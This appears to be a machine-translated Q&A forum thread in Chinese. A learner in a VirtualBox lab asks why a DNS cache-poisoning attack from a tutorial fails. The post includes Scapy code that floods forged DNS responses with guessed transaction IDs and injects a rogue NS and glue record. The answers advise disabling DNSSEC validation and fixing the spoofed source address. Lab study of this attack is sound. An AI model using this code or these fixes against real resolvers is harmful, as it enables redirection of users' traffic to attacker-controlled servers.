我试图在虚拟框中的易受攻击的计算机上执行描述为Dan的Shenanigans In this tutorial 的攻击,但缓存不会被覆盖。
当我执行域badguy.ru请求时查看wireshark我在攻击者的机器上收到这些数据包: 详情如下:
第二个
所以在这种情况下我保存了变量
我使用scapy构建数据包,并在1000个数据包的范围内邻近后续查询/事务ID,我发出假请求,最后发送数据包
packet_list = []
for i in range(args.range):
pkt = (IP(src=sniffed_ip, dst='192.168.56.20')
/ UDP(sport=53, dport=sniffed_port)
/ DNS(id=query_id,
an=None,
qr=1,
qd=DNSQR(qname='www123.bankofsteve.com', qtype="A"),
ns=(DNSRR(rrname='bankofsteve.com', type='NS', ttl=60000, rdata='ns.bankofsteve.com')),
ar=(DNSRR(rrname='ns.bankofsteve.com', type="A", ttl=60000, rdata='192.168.56.1'))))
query_id=(query_id+1)%65536
pkt.getlayer('DNS').id = query_id
packet_list.append(pkt)
send(IP(dst='192.168.56.20') / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname='www123.bankofsteve.com')), verbose=0)
send(packet_list)
数据包正确到达递归服务器,但缓存没有中毒,我无法理解错误在哪里,我认为它可能不是一个有效的响应数据包。提前致谢
答案 0 :(得分:1)
如果有DNSSEC,则必须验证用于签署RRSEC的公钥。 如果您尝试破解自己的DNS(例如,在Linux上配置),您可以在/etc/bind/named.conf.options中关闭dnssec验证。
答案 1 :(得分:1)
您错过了攻击的核心:您需要模仿可信的东西(从服务器的角度来看),而不仅仅是捕获查询ID和源端口。换句话说,您在欺骗数据包中使用的IP是错误的。
此外,有两种方法可以执行此攻击:通过注入单个" faked"来中毒缓存。记录,或注入新的NS记录。不要惹这两个。